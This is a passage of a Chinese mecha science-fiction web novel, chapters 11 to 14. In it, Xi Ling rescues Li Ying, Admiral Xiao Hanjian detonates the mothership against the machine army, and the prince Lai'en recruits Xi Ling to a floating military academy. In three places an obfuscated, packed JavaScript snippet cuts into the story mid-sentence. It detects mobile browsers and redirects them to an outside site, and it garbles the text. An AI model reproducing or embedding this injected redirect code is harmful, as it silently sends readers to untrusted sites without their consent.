宇宙死寂如常,但这把刀唤醒了宇宙的灵魂,使其发出惊诧的喟叹。时间和空间在这一刻短暂地失去了全部意义,在黎缨逐渐模糊的视线中,机甲灰鹞脱落了最后一片装甲,鲜血淋漓的手臂紧握着血一样的长刀,向蜂拥而至的无机士兵高举起血亮的刀锋。 它即将挥出那燃尽生命的一刀! 它即将在片刻的怒放后迎来冷寂的死亡! 但一只冰冷的铁手突然出现,并按下了机甲灰鹞高举起长刀的手。 那只手燃烧着猩红的烈焰,烈焰一接触到机甲灰鹞裸露的皮肤就开始扩散。黎缨已经没有力气拍灭那神秘的火焰,但她惊愕地发现,那火焰竟在修复机甲灰鹞的身体,连带灰鹞对她的精神污染也一同散去。 黎缨脑中的呓语在一瞬间变得清晰。 “我……爱……你……”那呓语对黎缨道。 顷刻间,黎缨泪如雨下。 试作型二代机甲“龙姬”一路逆飞,于此刻回到了星域战场。它静静地停驻在机甲灰鹞身边,背部的机械六翼呈冰花状散射,推进器吐出的尾焰淡化熄灭,隐约可见一条笔直的星轨。 它飞驰而至,如烈日降临这片永夜。 “我到了。”郗灵说。 郗灵埋头赶路,直到现在才打开麦克风。墨菲枯等良久,听到郗灵的声音时,几乎从玻璃罐里跳了起来。 “小怪物!”墨菲道,“你——” “帮我联络萧寒剑上将,以及,你可以开始记录数据了。”郗灵手中的火焰凝聚成长剑,剑锋直指遮天蔽日的无机士兵。 “你想干什么?”墨菲问。 “复仇。”郗灵答。 11. 爆炸 墨菲被郗灵的机甲数据吊足了胃口,他任劳任怨地执行郗灵的命令,仿佛一个被大鱼扯着鱼线来回遛的钓鱼佬。 联络上将需要一段时间,等待期间,郗灵一言不发地浸泡在母液中,感受着神经末梢上颤动的、由生物电信号传递给她的一切感受。 以母液为媒介,龙姬和郗灵建立了一种奇妙的联系,她犹如亲临这片宇宙,身体燃烧着熊熊烈焰,左手抱着灰色机甲脱落了装甲的血躯,右手持着由火焰凝铸的、明烈燃烧的长剑。 机械追兵蜂拥而来,在郗灵的瞳孔上倒映出一片冰冷的铁黑色。 萧寒剑的声音在郗灵的耳麦中响起:“郗灵,你——” 轰!!! 萧寒剑话音未落,龙姬的长剑先一步斩出。 血红的火焰是长剑的剑锋,它随着龙姬挥剑的动作脱离剑身,如滔天的火浪向包围过来的无机士兵冲荡而去。卷入火浪的无机士兵一个接一个被高温引爆,爆炸气流呈花朵状随着火浪的推进盛放、扩散,仿佛焰色的雨脚,仿佛细小的烟花。 郗灵一剑扫平了追来的机械军团。 而让隔空监控数据的墨菲尤为恐惧的是,挥出这惊天动地的一剑后,龙姬的各项数据不降反升——这意味着郗灵状态良好,刚才对她而言只是牛刀小试。 “牛逼啊!”埃德蒙忙里偷闲发来贺电。 郗灵耳尖一动:“你是打开月台护盾的人。” 黎缨带领科研团队赶往母舰月台时,这个男人曾拨通黎缨的腕部光脑,宛如一只报丧鸟向黎缨汇报了母舰能源不足的噩耗。 埃德蒙敲键盘的手一顿,浑身的寒毛顷刻间竖了起来:“……好灵的耳朵!” “墨菲,郗灵那边怎么回事?”萧寒剑不再询问郗灵,她的话锋转向了墨菲,“她为什么在驾驶机甲?” 埃德蒙打断了萧寒剑的盘问:“上将!母舰预计在3分钟后完成掉头,在3分30秒后抵达前线战场!部分机械士兵已从前线流逸到后方,为了确保母舰完成掉头,我需要至少3分钟的火力支援。” 萧寒剑还没说话,埃德蒙二次打断萧寒剑:“上将,我认为郗灵是个好人选!” 墨菲安静如鸡,他听出来埃德蒙在保他。 萧寒剑也听出了埃德蒙的弦外之音:“理由?” “目前,中军和后军在撤退路线上吸引了绝大部分火力,流逸到母舰附近的机械士兵并不多。”埃德蒙飞快分析局势,“如果贸然向母舰分拨兵力,机械帝皇必然察觉我们的意图!在母舰完成掉头之前,母舰近区的支援力量只能是小数量的精兵!” “郗灵驾驶的‘龙姬’是研究院出品的二代机甲,性能和安全性都比一代机甲强。”墨菲以科研者的角度向萧寒剑进言,“我可以向你实时共享‘龙姬’的各项数据,这些数据我在之后也会无偿分享给军部——相信郗灵,现在的她远没有到达极限,她是个实打实的怪物!” 郗灵也开口了:“上将,补给星太远了,我要把黎副官送到母舰上抢救,她没有意识了!” 萧寒剑陷入沉默。 加密频段中传来狮子般沉重的吐息,那是萧寒剑的呼吸,她带领后军镇压前线,所承受的压力大得无法想象。 “……就这么干吧!”几秒后,萧寒剑答。 萧寒剑话音刚落,郗灵如同听到发令枪般冲刺了出去。 她数次呼唤黎缨的名字,但黎缨在灰色机甲的胸腔中昏睡不醒,覆盖驾驶舱的装甲已然脱落,玻璃般透明的舱门衬得黎缨的脸色苍白若鬼,但黎缨的七窍仍在缓缓流出黑红的血浆。 龙姬的火焰接触到灰色机甲的身体,后者的呓语如巨象的哀鸣,颤抖地传递到郗灵脑中:“救救她!” “你身边的机甲正在散发强烈的精神污染,它的谐波振频已经高到无法检测了。”墨菲警示道,“小心你的精神状态,不要被它污染了。” 郗灵没有接话。 墨菲说机甲没有灵魂,但龙姬为何打破囚笼飞向宇宙?墨菲说机甲散发污染,但灰色机甲为何哀求着救下它的主人? 这个世界充斥着一个又一个谜团,郗灵之于世界宛如一个未开蒙的婴儿。她不知道什么是对的,什么是错的,所有人都在她的耳边发出各异的声音,但她此刻什么也不想听,更不想分辨任何对错。 她咬紧牙关,通红着眼睛向母舰飞去。 救人! 救下黎缨! 不能再让更多的人死去了! 不能再让……她的同伴在她眼前死去了! 龙姬振动机械六翼,推进器在身后划出一道长长的尾焰。周围游荡的无机士兵如同嗅到血腥味的鲨鱼包围了过来,但还未靠近,它们就被熊熊燃烧的火焰烧成了一捧捧灰烬。 那是龙姬的火焰! 那是郗灵的怒火! 龙姬浑身包裹着血色烈焰,如一颗猩红的流星击穿了机械军团的包围圈,炽热的气浪甚至改变了周围的引力场,让宇宙中的介质为之微微扭曲。 当它以恢宏之姿悬停在母舰中枢舱段的巨大舷窗前时,指挥台上的所有人都为此噤声一瞬。 上将的“凤凰”明烈如太阳,但这台燃烧着血焰的机甲竟然丝毫不逊色于凤凰。 埃德蒙灰色的独眼一颤,从怔神状态中猛然惊醒,又手忙脚乱地打开降落窗口,让龙姬从升降通道中进入母舰。 龙姬在进入母舰后熄灭了身上的火焰,郗灵从龙姬的驾驶舱中跳出。 她没有理会众人对她从十几米高的地方跳下来的惊呼声,转身爬到灰色机甲胸口上,不顾灰色机甲散发着热浪和蒸汽的身体,徒手撕开了后者的胸腔。 灰色机甲的鲜血溅满了郗灵的身体,把郗灵淋得如同一个血人。但郗灵没有丝毫停顿,她手脚并用,如一头狰狞的野兽打碎了驾驶舱的舱门,把昏迷的黎缨从舱里拽了出来。 黎缨的眼睛撑开一条缝:“……郗灵?” “不要死!不要死……”郗灵颤抖地抚摸黎缨的颈部脉搏,又抓住她的手抵在自己的额头上,“黎副官,你不要死……” “人造羊水足以修复我的身体……”黎缨沙哑地安慰,另一只手摸上郗灵的头发,“别哭啊……” 医疗舱被推到黎缨身边,郗灵把黎缨放进医疗舱。 舱门关闭前,黎缨肿胀充血的眼睛看向机甲“灰鹞”——它已经失去了所有装甲,血淋赤裸地平躺在母舰的合金地板上,没有眼睑的眼球狰狞地吊在空洞的眼窝里,拼尽全力向黎缨所在的医疗舱看去。 “嗡……”灰鹞说。 郗灵浑身一颤——她再一次听懂了机甲的话,它在对她说“谢谢”。 一只苍白的手握住了郗灵的手。 郗灵看向黎缨,黎缨用最后的力气对郗灵道:“郗灵,求你……救救它。” 郗灵没有回答。 她顶着充满浆糊的脑袋,眼睁睁地看着黎缨的手从她手中滑落,舱门“砰”地合拢,淡琥珀色的溶液灌满舱体,将黎缨浸泡如一只琥珀中的小虫。 埃德蒙小心翼翼地凑过来:“嗨,你好,我是埃德蒙。” 郗灵甩了甩身上的鲜血,那鲜血毫无意外溅了埃德蒙一脸,埃德蒙从没见过这样登场的人物,但郗灵下一刻紧紧地握住了他的手。 “修复副官的机甲。”郗灵一字一顿地祈求,“求你了。” 埃德蒙闭上眼睛深吸一口气,扭头对指挥部众人道:“把燃烧室的能源挪过来一部分,我来修复灰鹞的拘束装甲!” 众人愣住一瞬,而后反驳:“不行!这样母舰掉头的能源就不够用了——” “我来帮母舰掉头。”郗灵把沾满鲜血的额发往上一抹,露出一双燃烧着斗志的眼睛,“龙姬!” 于众目睽睽之下,雪色的人型机甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181221|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如天神跪地,向郗灵伸来了一只宽厚的铁手。 郗灵顺着龙姬的手臂三两下翻进驾驶舱。 下一秒,龙姬振动钢铁六翼从升降通道飞出母舰,借助推进器悬停在母舰侧方,两只铁手贴上了舰体的合金装板。 轰! 血红的火焰席卷了雪白的机甲,龙姬从苍白的星星变成了燃烧的太阳。 它狰狞的嘴巴在呼吸栅口下张大到极限,喷吐出大团大团雪白的蒸汽,浑身每一片装甲、每一寸筋骨都在疯狂发力,而装甲接缝处溢出的也不只是火焰了,浓艳的鲜血如同决堤的河水般溢流而出,几个呼吸间便将雪色装甲染得猩红。 墨菲的头撞上了玻璃罐封盖:“二度暴走!” 埃德蒙停下修复装甲的动作,仰头盯着大屏幕上的母舰立体投影:“……动了!动了!” 修复灰鹞产生的能源缺口被龙姬补齐,龙姬以一己之力推动母舰转向,犹如蚂蚁推动巨鲸。 “上将!”埃德蒙打了鸡血一般咆哮,“预计母舰完成掉头还有17秒钟!” 萧寒剑没有回答,她驾驶机甲凤凰,以一人之躯横挡在突进的机械军团和撤退的后军部队之间。 她停顿了17秒,在瞬息万变的战场上,这17秒的停顿珍贵如黄金。 时间在这一刻格外漫长。 宇宙沉默阒寂如亿万年以前,所有生命的盛放和凋零都只是大乐章中的一个音符,凡人的笑声和眼泪注定被流淌的岁月埋葬,太阳底下无新鲜事,一切的一切都只是重复的轮回。 凤凰,明烈如太阳,渺小如蝼蚁。它是战场上仅存的有机战士,它孤独地坚守在最后一道防线上,无人知道这样做是否有意义,一如宇宙的本质是一片看不到尽头的荒凉。 静默地,萧寒剑闭上了双眼。 17秒钟过去,母舰如埃德蒙预计一般完成转向。指挥部众人在操作台敲下最后一道指令,而后纷纷掏出机甲钮,撞破巨大的舷窗向补给星撤离而去。 母舰遵从指令向前线战场冲刺而来,宛如巨鲸游向命运的浅滩。 萧寒剑收起凤凰手中的机械巨剑,继而发出一道沙哑的轻笑。 “凤凰!”萧寒剑睁开双眼,“暴走吧!!” 雄壮的金色火焰在顷刻间包裹住凤凰的机身,一柄烈烈燃烧的巨大火剑凝聚在凤凰手中,其上能量流如银河倒悬般奔涌不息,当火剑完全成型,炙热的高温甚至改变了周围的引力场。 其体量之宏伟,声势之磅礴,让海啸般扑来的机械军团瞬间沦为背景。 这柄火铸的大剑已经超越了物理和科学的极限! 但下一秒,柔和的白光覆盖了整个剑身!它的质地从火变成了光!凤凰手持光明之巨剑,犹如蝼蚁高举正午的骄阳! 母舰冲上前线,犹如巨鲸搁浅。 萧寒剑爆喝一声,机甲凤凰高举大剑,向母舰用力挥砍而去。 轰!!! 炽烈的光焰照亮了整个战场! 第七军团母舰被萧寒剑引爆,无数进入黑夜的星球因此被照亮。巨大的花火盛放在宇宙中,将战场上的无机士兵尽数吞噬。 遥远的机械母星上,机械帝皇看着屏幕中瞬间清零的数字:“有趣。” 一粒尘埃般渺小的存在冲出爆炸带,浑身裹挟着流溢散去的硝烟——它正是机甲凤凰。 凤凰奇迹般从爆炸中心生还,而这样的奇迹,在萧寒剑的传奇人生中并不罕见。 它如一颗暗淡的晚星拖着长长的尾焰向补给星飞去,驾驶舱中的萧寒剑回头眺望身后的战场——所有无机士兵都在那场爆炸中灰飞烟灭了,即使机械帝皇拥有生产机床,他在短时间内也无力发起下一场战争。 但战争真的结束了吗? 萧寒剑望着机械母星所在的方向,缓慢而痛恨地举起右手。 她竖起中指:“狗屎!” 12. 苏醒 目送母舰冲向前线战场后,郗灵在驾驶舱中失去了意识,当她再次醒来时,她已经躺在了灌满人造羊水的医疗舱里。 检测到舱内人员苏醒,医疗舱外侧的红灯转为绿灯。郗灵透过小小的窗口看到黎缨走到舱边,心中悬着的石头终于落了地。 黎缨还活着。 黎缨得救了。 医疗舱外光线昏暗,唯有一盏台灯提供照明。郗灵看着淡琥珀色的人造羊水从脚下的阀口中流走,紧闭的舱门在泄压声中缓缓展开,被水光和玻璃窗口隔绝的、黎缨的人影也由模糊变得清晰。 黎缨向她伸来了一双戴着白手套的手:“起床了。” 黎缨把郗灵从医疗舱里拉起来,仔细地擦去后者脸上残留的水痕,随后关掉台灯,一点点拉开了严丝合缝的厚窗帘。 郗灵眯起眼睛,她感觉自己像个被阳光直晒棺材的吸血鬼:“我睡了多久?” “两个月。”黎缨好笑地看着郗灵张开手掌挡在眼前,“还有一天时间,我们就能抵达中央星了。” 郗灵的头顶冒出一个惊叹号:“!” “你太胡来了,没有经过任何训练就敢连续开启两次暴走,为了这件事,上将两个月都没睡一个整觉,生怕你一个疏忽变成植物人。”黎缨把厚窗帘全部拉开,房间内的陈设一览无遗,“下地走两步,舒活一下筋骨。” 郗灵龇牙咧嘴地从医疗舱里爬出来,连躺两个月后,她的手脚仿佛都不是自己的了。 黎缨安静地看着郗灵,只要郗灵趔趄一下,她就会立刻上前搀扶。 但郗灵稳稳地站在了地上,准确地说,踩在了地毯上。 郗灵适应了明亮的光线,她睁开眯起来的双眼,愕然发现舷窗外是一大片砂金色的土地,视野尽头点缀着几栋雪白的建筑,黑点大小的行人在地上稀疏行走,仿佛滚动的石头。 “这里是中卫二,中央星辖区内的第二颗卫星。”黎缨走到郗灵身边,“上将已经在这里停驻两天了,她放话说,等你醒来后再起航。” 郗灵踩着软软的地毯,良久没有说话。 她赤着双脚,但脚上的伤疤没有一丝疼痛——人造羊水修复了她的伤口,而铺满房间的地毯保护了她那颗饱受战争摧残的心。 她安静地站在窗边,看到放风的士兵在室外大口呼吸新鲜空气,有几个人甚至四仰八叉地躺在了地上,和大地来了个百分百亲密接触。 战争结束了。 她的心中恍然生出这个念头。 黎缨站在郗灵一步之外,注意力一直放在郗灵身上。见郗灵没有表现出战争后遗症的症状,她微不可察地舒了口气,紧攥在大腿两侧的手一点点松开。 郗灵不再看向窗外,她转过身,像个蹒跚学步的婴儿在房间里晃悠。 整个房间充满了少女气息,琳琅的粉色装修映入郗灵的眼帘,粉帘子粉桌子粉椅子粉柜子粉色公主床……一看就投入了不少财力和精力。 但郗灵在医疗舱里一躺就是两个月,这些凝聚着心意的装修也寂寞地空置了两个月。 “这些都是上将置办的,她从小被当作男孩儿养大,压根不知道该怎么照料一个女孩儿。”黎缨显然拥有正常审美,但两个月下来,她已经强行把这个粉红色的房间看顺眼了,“她不允许任何人插手,不然的话,我绝不允许这种土爆了的装修出现在飞船上。” 郗灵下意识点头,又亡羊补牢地踩了踩脚下的地毯:“我喜欢这张地毯。” “这张地毯是我购置的,如你所见,它是你房间里唯一的白色装饰。”黎缨冷哼一声,“上将说白色不耐脏,她想换成骚粉色的。” 郗灵:“……” “所以我给她否了。”黎缨的嘴巴一如既往的犀利,“她不认可我的审美,但我说,这颜色很像内脏,你不会想踩在满屋子的内脏上。” 郗灵:“……” 郗灵用力点头:“谢谢你,黎副官!” “不用叫我黎副官。”黎缨的话让郗灵脸色变了变,但她很快解释道,“我要退役了。” 郗灵沉默。 黎缨看着郗灵紧绷的脸噗嗤一笑,摘下白手套摸了摸郗灵的脑袋。 “暴走十分损耗机甲师的身体,甚至可以掏空一个人的灵魂,我能活着离开战场已是万幸。”黎缨露出清丽的微笑,“所以,我很感谢你,郗灵。” 郗灵埋头盯着自己的脚尖:“退役之后,你打算做什么?” “我是黎家第二顺位继承人,我并非无事可做,相反,我有太多事情需要处理了。”黎缨带着伤疤和香气的手离开郗灵的头顶,像变魔术一般,将一张黑卡夹在食指与中指间。 她把黑卡递给郗灵:“这是我给你的谢礼。” 郗灵接过黑卡,黑卡在自然光的照耀下折射出磨砂质地的饱满光华,左下角印着一个银色logo,形似一座剔透的玉山。 郗灵把黑卡放进嘴里咬了几下:“这是什么?” “联邦三大蓝血品牌之一——‘昆山玉’的高级贵宾卡。”黎缨轻描淡写地说出了足以让时尚界大地震的话,“还有,我已经拟好了转增股份的合同,一会儿你签个字,昆山玉1%的股份归你了。” 郗灵咬卡的动作顿住了。 黎缨说了一大段长难句,但“贵宾”“合同”“股份”之类的关键词郗灵还是听懂了。 经过之前的相处,郗灵已经知道黎缨是个闷声干大事的人,而黎缨认为拿得出手的礼物……分量自然不轻。 郗灵捧着黑卡,大气不敢出。黎缨垂眼盯了一阵,转身从书桌上拿起一本书。 那本书足有砖头厚,封面有一行漂亮的花体字—— “此书谨献给郗灵,感谢你拯救了我们的生命。” “这是‘胚胎’团队全体研究员送给你的礼物——《通用语日常三万句》。”看到郗灵迷茫的眼神,黎缨解释道。 墨菲的团队? 郗灵接过厚得能挡子弹的《三万句》:“我会认真看的。” 黎缨盯着郗灵的脸:“你对墨菲怎么看?” 黎缨即将退役,她不该对昔日的死对头抱有敌意了,但十余年的军旅生涯是她人生中浓墨重彩的一笔,虽然她日后将以黎家继承人的身份在社会上活动,但她还是忍不住想问一问郗灵的看法。 郗灵翻开第一页:“abandon,放弃,抛弃。” 黎缨:“……” “这是一份好礼物,黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181222|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副官。”郗灵丝滑地合上书,她不敢和黎缨说,她才看了一页就困了,“母星毁灭后,我以为我再也没有机会使用自己的母语了……我知道墨菲是个有点邪恶的科学家,但在这件事上,他是个好人。” 黎缨安静了一秒:“那就好。” 黎缨的表情微微松动,冰霜般冷峻的神色也开始融化。 战争摧毁了所有人,黎缨担心郗灵无法走出战争,但真正走不出战争的人其实是她自己。 黎缨逐一给郗灵介绍礼物,口齿伶俐,逻辑清晰,毫无谬误。黎家继承人的天赋在她身上一点点苏醒,飞船降落中央星后,她将从一个军人变成一个商人。 郗灵抱着《三万句》认真倾听,待黎缨介绍完最后一件礼物时,郗灵的肚子发出一阵低沉的轰鸣。 “……我有点饿。”郗灵道。 黎缨一怔,继而爆发出清脆的笑声,牵着郗灵去了食堂。 今天掌勺的炊事官正好是郗灵认识的那一位。 郗灵见到炊事官如同见到亲人一般,她大睁着饥饿的双眼蹲守在灶台边,炊事官炒好一锅她就吃一锅,饭碗空了又满满了又空。 黎缨默默计数:“一……二……三……” 萧寒剑闻讯赶来,和黎缨一起守在后厨:“……四……五……六……” 郗灵埋头干饭,不知天地为何物。 虽然人造羊水提供了足够的养分,但空空的胃囊始终无法欺骗大脑。而且,之前被拐上黑船时,郗灵蜷缩在关押奴隶的底板夹层里,饿得只能舔食管道上凝结的水珠。 她饿怕了,她真的饿怕了。 萧寒剑和黎缨怜爱地看着郗灵干饭。 几个军官闻讯赶来,叠叠乐一样围观郗灵干饭。 墨菲听到郗灵苏醒的消息后也赶了过来。 他至今没有找到合适的身体,由研究员妹子李安娜像公园大爷遛鸟笼一样提在手里,隔着玻璃罐观察郗灵干饭。 “安娜,记录。”墨菲不忘老本行,“实验对象生命体征良好,食欲……空前旺盛。” 郗灵干完最后一碗饭,捧着圆鼓鼓的肚子坐在小板凳上:“我吃饱了!” 墨菲终于找到机会开口:“郗灵,你愿不愿意……” “把墨菲带走。”萧寒剑道。 黎缨拍了拍李安娜的肩膀,李安娜立刻冒着粉红泡泡倒戈,拎着墨菲的脑袋离开了。 郗灵疑惑地看向萧寒剑,但萧寒剑没有给出任何解释,她轻轻拉起郗灵的手,将一枚洁白的机甲钮放入郗灵掌心。 它正是修复后的龙姬。 郗灵立刻攥紧了它。 战争已经结束,机械帝皇却尚未殒命。 她身负血海深仇,机甲不仅是她复仇的唯一指望,更是她此生全部的胜算。 看到郗灵的动作,萧寒剑陷入沉思。 “上将?”郗灵歪头。 “……没什么。”萧寒剑深吸一口气,沉重的思绪顷刻间化为温和的笑意,“我们返航吧?中央星是个好地方,你会喜欢的。” 郗灵仰头凝视萧寒剑的脸,后者一瞬间的异样仿佛稍纵即逝的错觉。 上将有事情瞒着她。 郗灵想道。 13. 莱茵 降落中央星后,郗灵暂住在萧寒剑家中。 郗灵是个黑户,母星又被机械军团炸成一团灰烬,既无来处也无归处。这样的情况并不少见,有机和无机的战争卷进了太多无辜的生命,而幸存的难民可以申请成为联邦公民。 萧寒剑和黎缨十分忙碌,郗灵不想麻烦别人,用光脑摸索着提交了申请。 她本以为这份申请会石沉大海,但第二天,一位不速之客带着几个工作人员主动上门。 工作人员自带迷你电脑、纸质材料和印章,显然要在这里把事情直接办了。 郗灵盯着不速之客,后者披散着蜷曲的白发,脸庞不似通话投影那般虚幻,而是多了几分活人的真实感。 尽管如此,他仍然如同一只白色的幽灵。 “好久不见。”莱茵道。 “好久不见。”郗灵道。 “昨天,你通过市长热线提交的申请公民身份的材料,其实投错地方了——市长热线主要处理市民日常事务咨询和投诉,并不受理这类身份申请业务。”莱茵开门见山,“按规定,这种申请应该交给联邦公民事务署。” 郗灵盯着工作人员:“所以?” “为了避免你白跑一趟,我把负责身份审核的人带过来了。”莱茵在沙发上坐下,“他们会为你处理好一切的,你只需要签字、拍照、录入指纹和虹膜。” “谢谢你。”郗灵道。 “不客气。”莱茵道。 工作人员开始逐一修改、审核郗灵的材料,郗灵和莱茵对坐相视,久久无言。 “你找到我,应该还有别的事吧?”键盘声噼里啪啦,郗灵主动开口。 “是的。”莱茵果然接话了,“准确地说,是有人拜托我来找你。” “谁?” “尤莱亚·墨菲副院长。” “……”郗灵沉默一秒,“为什么?” “军部和研究院势同水火,不过现在,研究院那边有意消解这份积怨。”莱茵将一份文件递给郗灵,“这是墨菲副院长提交的‘胚胎’合作项目立项申请,因为军部和研究院在机甲领域有业务重合,这份申请一直无法通过,他希望你能帮助他。” 郗灵接过文件,但没有翻开。 她感到困惑:“博士为什么要找我?” “你是唯一一个同时收获了研究院和军部友谊的人,只需要说服萧寒剑上将,军部那边就可以畅行无阻。”莱茵给出解释,“而且,你还是‘胚胎’项目的关键人物,没有你的配合,就算申请通过了也没有用。” 郗灵沉默不语。 “这是我来找你的第一件事。”莱茵的话让郗灵眉头狂跳,这样的麻烦居然不止一个,“第二件事,我代表维尔莱德军校,希望你成为我校的荣誉校友。” 维尔莱德,一个熟悉的名字。 这是联邦国父,第一任大总统的名字,而以国父之名命名的军校,即使郗灵对其了解甚少,也知道必定是一所优秀的军校。 莱茵观察郗灵的表情:“维尔莱德军校是联邦五大军校之一,机甲是军用武器,只有军校生和军人可以驾驶,如果你想系统地学习机甲,加入维尔莱德是最好的选择。” 龙姬在郗灵腰间轻晃。 郗灵摁住龙姬,反问道:“理由呢?你大费周章地找上门来,只是为了招揽我这样一个学生?我不相信。” “这和我说的第一件事有关。”莱茵答,“军部和研究院必须冰释前嫌。” 郗灵沉默。 “战争已经结束,但机械帝皇仍在虎视眈眈。”莱茵敏锐地抓住了郗灵的命门,他显然调查过郗灵的背景,并清晰地知道郗灵对何人深恶痛绝,“联邦和机械帝皇抗衡的唯一倚仗就是机甲,但一代机甲的弊端太大了,军部已经青黄不接,如果不对它进行改良,不等机械帝皇发起下一场战争,人类自己就会灭亡。” 郗灵想起了黎缨,想起了暴走的灰色机甲。 那张七窍流血的惨白面孔在她眼前晃荡,即使有她出手相救,黎缨也不得不提前退役。 但黎缨却对她说,自己活着走下战场已是万幸。 那么,那些不幸的人呢? 那些不幸的人,在抛头颅洒热血之后,等待他们的只有死亡。 “然后呢?”郗灵沙哑地问,“你们想要我做什么?” “成为军部和研究院之间的纽带,让双方握手言和,重新联手研发二代机甲。”莱茵直言不讳,“而你,作为全联邦唯一一台二代机甲的驾驶者,将以实验协作专员的身份加入维尔莱德。你会和其他军校生一样参与课程、军事训练和考核,但你的档案是绝密,你的首要任务是配合研究院完成机甲研发。” 郗灵陷入沉默。 “……你给我出了个大难题,莱茵。”良久,郗灵咕哝道。 莱茵耳尖微微一动——他对郗灵用“莱茵”称呼自己有些敏感。这并不是一个常用的称呼,汉布格尔总统已经连任三届,作为总统的独子,他更多时候被称作“太子”。 莱茵垂下睫毛,郗灵抬起眼睛:“你说了很多漂亮话,但说实话,我没听懂几句——因为我是个文盲。” 莱茵:“……” “我来自一颗小星球,从没想过银河中会有这么多勾心斗角。”郗灵眉眼微凝,“包括你在内,所有人都在我的耳边发出各种声音。我无法分辨你们的声音是对是错,但我知道一点——联邦人是不会打开天窗说亮话的,中央星人更是人均八百个心眼子。” 莱茵:“……” “我说,你听,看我说得对不对。”莱茵止言又欲,郗灵抬起一只手,冷酷地打断莱茵的发言。 “第一,你带着专业团队登门造访,他们的确很专业。”郗灵道,“就在刚才,他们已经把手中的材料清点了第四遍——审核材料为假,打听情报为真。” 竖耳偷听的工作人员:“……” “第二,你说墨菲博士请你劝服我,但你在骗我。”郗灵冷笑一声。 她太了解墨菲了! 连她刚醒过来干饭时,墨菲都会让研究员妹子拎着他的脑袋赶来围观,如今莱茵带着团队直接上门,他若是真有事求她,就算爬也会爬过来——除非他连脑袋都没有了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181223|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但郗灵没必要和莱茵说得这么细:“你是拿墨菲博士当幌子吧?你想试探我的态度,看看我的性格如何,弱点又是什么——谈判的优势建立在知己知彼上,但我是个星球遗孤,联邦没有任何我的资料,你只能边聊边揣度。” 莱茵仍然沉默。 “第三……”郗灵盯着莱茵的脸。 莱茵的脸上没有一丝表情,他正在垂眸倾听,而一个谦卑的倾听者是不会失态的,即使他是成功者或失败者。 他在想什么? “第三,关于加入维尔莱德军校的事,我相信你对我的邀请是真诚的。” 郗灵深吸一口气,选择了相对温和的说辞:“我相信研发二代机甲迫在眉睫,不然墨菲博士不会顶着深仇大恨申请随军。我也相信研发机甲的初衷是结束战争,尽管……这场战争混杂了太多人的立场和利益。” 工作人员清点材料的手一顿。 莱茵倏地抬起眼睛。 “所以,即使你的手段并不纯粹,但我认可你的初心,就像我明知道墨菲博士藏了一点坏心思,但我仍然愿意配合他,并且认可他一样。”郗灵总结道,“那么,我们来谈谈入学的事情吧。” 莱茵沉默了,工作人员沉默了,门外的萧寒剑也沉默了。 萧寒剑发出一声轻笑:“这孩子……比我想象得更厉害。” 郗灵盯着莱茵,宛如猫凝视猎物。莱茵睫毛颤动,终于吐出一句话。 “你赢了。”他说。 “我果然搞不懂中央星人。”郗灵道,“你把我当成了敌人吗,不然为什么要论输赢?” “联邦盛行优绩主义,每个人都想当最后的赢家,如果不论输赢,那该论什么?”莱茵说。 “我是文盲,我听不懂。”郗灵杀死了比赛。 莱茵:“……” 萧寒剑推门而入,大笑着将郗灵揽入怀中。莱茵叹了口气,收起放在桌上的几份文件,将一张镂彩烫金的入学通知书拿了出来。 “三天后就是开学日,希望能在学校再次见到你。”莱茵温和地说。 郗灵盯着莱茵,那张女孩儿般秀气的脸上似乎极快地覆上了一层假面,他在几秒前还亮着身上的尖刺,但他尖锐的态度和他的尖刺一起收敛起来了,这让郗灵感到惋惜。 工作人员对莱茵低语几句,莱茵对郗灵道:“你的公民认证已经通过了,从现在起,你的档案将是绝密。” 郗灵道:“谢谢你。” 莱茵道:“不客气。” “太子,我们可以出发了吗?”工作人员轻声问道。 郗灵抬眸看向莱茵。 莱茵垂低睫毛:“走吧。” “三天后你在哪里,莱茵?”莱茵正要起身,郗灵突然问道。 郗灵的脸上带着平淡的笑容,这是一场稀松平常的谈话,没有任何尊卑可言。 “你见不到我,我是学生会会长,我很忙。”莱茵答。 “那么,也不必三天后再见了,祝我们下次再见吧。”郗灵说。 莱茵一愣,随后露出一个弧度极小的微笑:“好。” 14. 空中军校 维尔莱德军校是一座空中军校。 维尔莱德军校的校长是反抗军十大元帅之首,他在联邦成立初期拿下一大块地皮,又在国会完善空域权之前,斥巨资修建了巨大的浮空群岛。 郗灵站在浮空群岛下方,仰起脑袋发出感慨:“哇塞!” 她从没见过这样的奇观。 